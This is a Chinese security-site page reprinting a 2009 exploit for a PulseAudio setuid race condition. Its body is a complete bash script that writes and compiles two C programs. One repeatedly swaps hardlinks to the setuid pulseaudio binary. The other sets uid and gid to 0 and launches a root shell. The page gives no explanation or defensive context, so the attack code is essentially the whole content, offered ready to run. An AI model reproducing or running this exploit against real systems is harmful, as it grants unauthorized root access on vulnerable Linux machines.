首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PulseAudio setuid Local Privilege Escalation Exploit
来源:www.vfcocus.net 作者:vfocus 发布时间:2009-07-21  

#!/bin/bash

pulseaudio=`which pulseaudio`
workdir="/tmp"
#workdir=$HOME
id=`which id`
shell=`which sh`

trap cleanup INT

function cleanup()
{
 rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c
 rm -rf $workdir/PATMP*
}

cat > $workdir/pa_race.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>

#define PULSEAUDIO_PATH  "$pulseaudio"
#define SH_PATH   "$workdir/sh"
#define TMPDIR_TEMPLATE  "$workdir/PATMPXXXXXX"

void _pause(long sec, long usec);

int main(int argc, char *argv[], char *envp[])
{
 int   status;
 pid_t pid;
 char  template[sizeof(TMPDIR_TEMPLATE)];
 char *tmpdir;
 char  hardlink[sizeof(template) + 2];
 char  hardlink2[sizeof(template) + 12];
 
 srand(time(NULL));
 
 for( ; ; )
 {
  snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE);
  template[sizeof(template) - 1] = '\0';
  
  tmpdir = mkdtemp(template);
  if(tmpdir == NULL)
  {
   perror("mkdtemp");
   return 1;
  }
 
  snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir);
  hardlink[sizeof(hardlink) - 1] = '\0';
 
  snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir);
  hardlink2[sizeof(hardlink2) - 1] = '\0';
 
  /* this fails if $workdir is a different partition */
  if(link(PULSEAUDIO_PATH, hardlink) == -1)
  {
   perror("link");
   return 1;
  }
  
  if(link(SH_PATH, hardlink2) == -1)
  {
   perror("link");
   return 1;
  }
  
  pid = fork();
  
  if(pid == 0)
  {
   char *argv[] = {hardlink, NULL};
   char *envp[] = {NULL};

   execve(hardlink, argv, envp);
   
   perror("execve");
   return 1;
  }
  
  if(pid == -1)
  {
   perror("fork");
   return 1;
  }
  else
  {
   /* tweak this if exploit does not work */
   _pause(0, rand() % 500);
   
   if(unlink(hardlink) == -1)
   {
    perror("unlink");
    return 1;
   }
 
   if(link(SH_PATH, hardlink) == -1)
   {
    perror("link");
    return 1;
   }
   waitpid(pid, &status, 0);
  }
  
  if(unlink(hardlink) == -1)
  {
   perror("unlink");
   return 1;
  }
  
  if(unlink(hardlink2) == -1)
  {
   perror("unlink");
   return 1;
  }
  
  if(rmdir(tmpdir) == -1)
  {
   perror("rmdir");
   return 1;
  }
 }
  
 return 0;
}

void _pause(long sec, long usec)
{
 struct timeval timeout;
 
 timeout.tv_sec  = sec;
 timeout.tv_usec = usec;
 
 if(select(0, NULL, NULL, NULL, &timeout) == -1)
 {
  perror("select");
 }
}
__EOF__

cat > $workdir/sh.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>


int main(int argc, char *argv[], char *envp[])
{
 if(geteuid() != 0)
 {
  return 1;
 }

 setuid(0);
 setgid(0);

 if(fork() == 0)
 {
  argv[0] = "$id";
  argv[1] = NULL;
  execve(argv[0], argv, envp);
  return 1;
 }

 argv[0] = "$shell";
 argv[1] = NULL;
 execve(argv[0], argv, envp);
 return 1;
}
__EOF__

gcc -o $workdir/pa_race $workdir/pa_race.c
gcc -o $workdir/sh $workdir/sh.c

$workdir/pa_race


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·FreeBSD 7.2 (pecoff executable
·PulseAudio (setuid) Priv. Esca
·EpicDJ 1.3.9.1 (.mpl/.m3u) Loc
·Medieval CUE Splitter Local St
·EpicVJ 1.2.8.0 (.mpl/.m3u) Loc
·Acoustica MP3 Audio Mixer 2.47
·Adobe related service (getPlus
·Acoustica MP3 Audio Mixer 2.47
·Mozilla Firefox 3.5 (Font tags
·XSS JavaScript Obfuscator 0.01
·Streaming Audio Player 0.9 (sk
·PulseAudio suffers from a loca
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved